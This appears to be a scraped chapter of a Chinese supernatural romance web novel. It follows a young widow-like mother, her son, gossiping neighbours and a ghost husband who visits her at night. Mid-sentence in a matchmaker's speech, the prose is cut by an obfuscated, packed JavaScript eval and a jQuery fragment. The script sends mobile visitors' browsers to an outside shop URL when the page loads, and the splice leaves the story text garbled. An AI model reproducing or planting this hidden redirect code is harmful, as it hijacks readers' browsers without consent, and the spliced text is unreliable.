蒙蒙细雨，沈萸撑着油纸伞，沿着蜿蜒曲折的古旧小巷，踏上回家的路径。
泥水溅在她鸦青色的裙摆边上，洇出一个又一个的小点。
迎面而来的王婆见从雾中走出的沈萸，浑浊的眼眸下藏着惊讶，皮上露出笑容，开口问候：“今儿，怎地这么早出门？”
沈萸温婉一笑，黑白分明的眸子亮了几分，“今儿我夫君便要到扬州做生意，我得早些送他离开。”
王婆不再说话，握紧手上的篮子。
沈萸来到埂南镇住在井酒巷已经有三年，三年间无人见过沈萸的丈夫，巷子里的人私下都道沈萸是个带着孩子独自生活的寡妇。沈萸对家的徐婆子是个说媒人，见时机道了，要给沈萸讲一门亲事，可就在前几日她的夫君回来了。
沈萸母子白日不在家，家里却有动静，但莫说镇上的人，就是井酒巷的人也没见过她的夫君。
王婆子没有，徐婆子没有，镇头镇尾的大婶也没有。
“萸娘，你这夫君三年不回来，你就不怀疑他在外面有过女人吗？男人就是那样，莫说你不在他身边，就算是左右眼轮着盯着他，他都会在你换着盯他的片刻找外头的……”
沈萸微微低下头，一副乖巧听训的样子，王婆只觉得脊背蔓上一股寒意，只听沈萸柔声有力地说：
“我夫君他不会做对不起我的事。”
王婆滔滔不绝的话戛然而止。
她记得三年前，沈萸抱着瘦弱的孩子，搬进了井酒巷，巷子里的人何时见过这般貌美的女子，埂南镇说大不大，说小不小，一时间井酒巷住进美娇娘的事传遍了大街小巷，人人都无意间路过井酒巷，驻足片刻。
时间久了，大家对她的兴趣慢慢被别的事情取代，被讨论的人从沈萸到她的孩子，现在变成了她的丈夫。
没有人见过她的丈夫。
在这三年间，王婆看了，鲜少有人在沈萸院子里进进出出，从巷子里面出来的人都是镇上熟知的人物。
除了前几日，一连几天，每天都有陌生的人从她的院子里面出来，有男有女，这些人都有的特征就是模样生的好，气度不凡，沈萸开始说她的丈夫回来了。
小镇不大，消息传播的速度极快，不出几天，镇里面又开始议论起沈萸。
人多口杂，添油加醋的故事，有恶意的，也有悲惨的，人人都在看热闹。
好在镇子事多，沈萸的事被众人咀嚼无结果后，村民转向了其他事。
王婆有个因失去丈夫而心灰意冷跳河自杀的女儿，看沈萸的眼神里面多充满着担心。
看沈萸一脸相信她丈夫，王婆知道这是他人家事，她一介外人不好劝阻，瞟着四周，青砖白瓦，地面上满是新长出来的青苔，王婆降低声量：“萸娘，小心你家对面的徐婆子。”
沈萸略有些惊讶，向王婆说句道谢，“我家小止还在家中等我，下回再和王婆聊。”
王婆叹了口气，还想说什么，喉咙就像被遏住，发不出声，等着沈萸消失在拐角，这种无法张口的恐惧才消失。
王婆忽地浑身冒出冷汗。
沈萸用伞柄推开掉漆严重的木门，即便是小心翼翼，门不受控发着“吱嘎”。
实在是太破旧了，最近沈萸忙到忘记修它。
沈萸一边寻思把伞放哪，一边提醒自己，下午记得要修门。
“娘。”
沈萸一惊，抬头一看，朝歧不知何时站在院子里面，穿戴轻薄，耷着一双淡色眸子，抿着有些发白的嘴唇，静静地看着沈萸。
沈萸将手上的伞随手一丢，小步跑到朝歧的身边，蹲下，摸着他潮湿的头发，“在这里等很久了吗？”
朝歧收回盯着伞的冷冷目光，转向他的娘，眸色多了许些的温暖，他摇着头，靠在沈萸的肩上，短小的手臂环住沈萸的脖子，
“天亮了，我才到院子里等娘。”
沈萸心疼地摸着朝歧的头，抱起朝歧，偏头在他稚嫩的小脸上轻轻一吻，向屋子里面躲，“怪娘，没有告诉你我要去哪儿。”
朝歧缩在沈萸的怀抱里面，“他们还会来吗？”
沈萸捏着朝歧的脸颊，噗嗤一笑，“害怕吗？他们都是娘的旧识，以后都不会再来了。”
朝歧收紧环住沈萸的手臂。
沈萸将朝歧擦干头发后，将他放在床上。
朝歧是个早产儿，刚出生的时候，小小的一团皱在一起，经过这些年的调理，朝歧的体格和同岁的孩子一样，甚至要比同岁的孩子大一些，沈萸回忆起她的儿时，大约也是这个年纪和她的师尊分开的。
为了他日后的成长是不是该给朝歧独立开一个房间了？
“娘。”朝歧拉着沈萸的衣袖，眼神写着彷徨，沈萸立即打消离开的念头，情况不一样。
她和朝歧的情况不太一样。
“嗯？”沈萸坐在床沿。
“我会死吗？”朝歧茫然望向沈萸。
才这么小，朝歧还没有见过人间的山川河流，还没有见过世间百态，连他的家都还没有见过。
沈萸无法做到若无其事地哄骗着朝歧，微微歪着脑袋，细细拨开落在朝歧脸上的碎发，声音轻柔而温和：
“会，娘也会死，小草会死，院子里面种的树也会死，小止还记得吗？树叶子变成黄色后，过不了多久，那些死掉的叶子就落到了地上，春再来时，又是一批新的叶子，死亡不是终点，它是蜕变，让你以全新的姿态再活着。”
朝歧不懂，抓住沈萸的手腕，闭上眼睛。
沈萸轻轻拍着朝歧，哄他睡觉：“今天小止可以不去学堂，要是想知道的话，明日可以求教学堂里的夫子。”
朝歧睁开眼睛，眼球一转，“娘，我明天不想上学，后天也不想……”
沈萸脸上带着淡淡的笑，“是因为娘不让你和学堂里面的同伴打架吗？”
朝歧小嘴巴一抿，看着颇有些严肃，哼哼唧唧无声抗议。
“那我明天可以不去吗？”
“当然不可以，但是娘今天会陪着你。”
朝歧眸色亮起来，神情带着愉悦，往旁边挪动，肉肉的手指指着身边的位置，“娘，你睡。”
沈萸刚要换下鞋子，眼见裙摆的衣服脏了，沈萸捧着朝歧的脸蛋亲上一口，“娘不困，娘去给你捏芝麻团子，等你醒来就能吃了。”
“多加糖，要多多的。”
沈萸捏着朝歧的脸颊，“最多加一勺。”
朝歧皱眉，后又舒展开来，一本正经道：“糖吃多了，牙会黑。”
说罢，他龇牙，白亮亮整齐的牙齿，惹得沈萸展颜一笑，摸摸他柔顺的发旋，捏好被子，转身离开小屋。
朝歧翻身，眼神逐渐空洞，盯着床帐看。
他今天又看到爹了，爹就站在娘的身边，对着他噤声，朝歧不明白为什么爹不告诉娘，他一直都在。
沈萸在后厨里面忙碌，趁着团子下锅，想去躺着偷懒。
拍门声和叫喊声齐齐传到沈萸的耳朵里面。
“萸娘，萸娘。”
沈萸急匆匆上低矮的几阶楼梯，嘎吱一声打开那扇脆弱的门。
头上盘着硕大的头发，几支妖艳的花朵簪在其中，不高的个子和粗壮的腰肢。
徐婆子推开堵在门口的沈萸，摇着不合季节的团扇，一边下楼梯来到院子中间，一边环打量四周，她看不见院子哪有男人的痕迹，依旧清贫如洗，嘴边挂着的笑，逐渐放大。
“县上的张公子出了丰厚的聘礼，还等了你一年，萸娘真的不考虑考虑？”
不过是一句话，徐婆子的头皮发麻，她莫不是昨天喝酒喝麻了？可她昨天不过喝了几盏酒，全全不到她的酒量上限。
“不是我不愿作答，只是我夫君不乐意的。”
沈萸站在门前，温婉朝着徐婆子一笑。
“萸娘，”徐婆子一摇一晃走到沈萸的身边，
“不是我说，你夫君将你丢在这儿，不闻不问过了三年，你难道还要等他一辈子吗？世上最虚假的便是男人的花言巧语，动动嘴皮子，就让天仙心甘情愿替他生子，说什么海誓山盟，海枯石烂，与其要这虚假的，不如抓住一些实实
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17734777|209020||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
在在的东西。”
徐婆子压着声音说，“这一代就他一个儿子，张家也算是一方地主，这财产将来还不是你们的，何苦让你过我们清苦的日子？”
徐婆子说完猛打了三个喷嚏，一个接着一个，一声高过一声，沈萸神色一变，笑意被浓浓的担忧掩盖，捂着自己的鼻子，“徐婆子，我瞧，你这是病了。”
不过是几个喷嚏，徐婆子拿着团扇摇着头，张开嘴巴还要说话，下一刻，从嘴巴里出来的不是言语，而是又一个喷嚏。
沈萸默默远离徐婆子，脚下踩到了东西，沈萸低头一看，是那把油纸伞，抬脚，默默换过一个方向。
徐婆子只要想开口，出来的就是一个大大的喷嚏，她脸色一变，做她这一行的，除了给活人配婚姻，私下还给死人配婚姻，徐婆子不再劝说沈萸，连忙跑回家，生怕惹上什么脏东西。
沈萸见她逃走后，噙着笑缓缓关上门。
尖锐的嘎吱声，让沈萸想起了要翻新旧门的念头。
平常的一天，沈萸陪着朝歧用完餐后，早上是让他练大字，下午便是教他读书。
朝歧的字写得方方正正，一笔一划规规矩矩，但是沈萸不满意，总觉得不对，或许该给朝歧单独找一个写字的夫子。
“娘，再高一些，我快要看到河边的码头了。”
“好。”沈萸笑吟吟地说道，手上使劲，秋千越荡越高。
罢了，朝歧现在还小，再大一点的时候请夫子也可以，沈萸只希望朝歧能快快乐乐、健健康康地长大。
朝歧的一日在沈萸的陪伴下，安稳地度过。
沈萸躺在朝歧的身边，朝歧神色满是愉悦，偷偷地盯着沈萸。
“明天还要上学，小止再不睡，明天就起不来了。”沈萸侧身，捕捉朝歧的眼神。
朝歧挪着身体，躺在沈萸的怀中，抬头，亮着眼睛问道：
“娘，明天送我上学，好吗？”
沈萸拍着朝歧的背，哄他睡觉，“当然是娘送小止上学，明天我们早早地去，路过刘姥姥家的铺子给小止买一份芙蓉糕如何。”
朝歧闷着声音，声音软软地说道：“是娘想吃。”
沈萸干笑两声，轻揉他的肉脸，“那你吃不吃？”
“我也爱吃。”
“娘，我明天还想吃烧鱼，团子，豆腐，红烧茄子……”
朝歧说到后面，精神越抖擞，但见沈萸半垂着眼皮，昏昏欲睡，便止住了报菜名，躺下闭眼。
沈萸久久听不到大馋猫的说话，眨了眨眼睛，掖了掖被角。
朝歧很乖，但再如何乖巧，五岁孩童有的活力和调皮一个不落，沈萸因为照看一天的朝歧，精神疲惫，在朝歧睡后不久，自己也闭上了眼睛。
埂南镇今夜寂静无风，桌上摆着的蜡烛无人熄灭，一点一点被黑夜吞噬，逐渐变暗，突然烛火猛地跳动起来，上蹿下跳。
朝歧背对着沈萸，忽然睁着浅色的眸子，静默盯着棉纱后的墙体，上面映着跳动的烛光，平静的眼里，瞳孔一亮一亮地闪烁。
沈萸一个翻身，半个身体悬在床边，只要她再一动作，定会摔下床，滚落在地上。
跳动的烛火缓缓平息，此刻安静地燃烧，幅度越来越小，光越来越暗，呲的一小声，烛火灭了。
房间里面黑漆漆的一片，朝歧缓缓盖上沉重的眼皮。
万籁俱静，紧闭的房门，门缝下穿过一个黑色的影子，一寸一寸移动到床前，掩住床上的两人。
它静默片刻，矮了身将要掉落的沈萸抱个满怀，推动到床中。
影子底下伸出细瘦骨感的手指，从沈萸饱满的额头开始，慢慢往下滑，走过她的鼻子，滑在在她的颜色浅的唇瓣，将那处碾红了才停手，接着游走，最后狠狠地压在她纤细的脖子上。
沈萸呼吸急促，几次要挣脱睁开眼睛，它松开了手。
影子抽长，渐渐显出一个人样，只见他半个身体伏在沈萸的身上。
恶鬼的低喃，在沈萸的耳畔一遍又一遍响起：
“沈萸，沈萸，小萸……”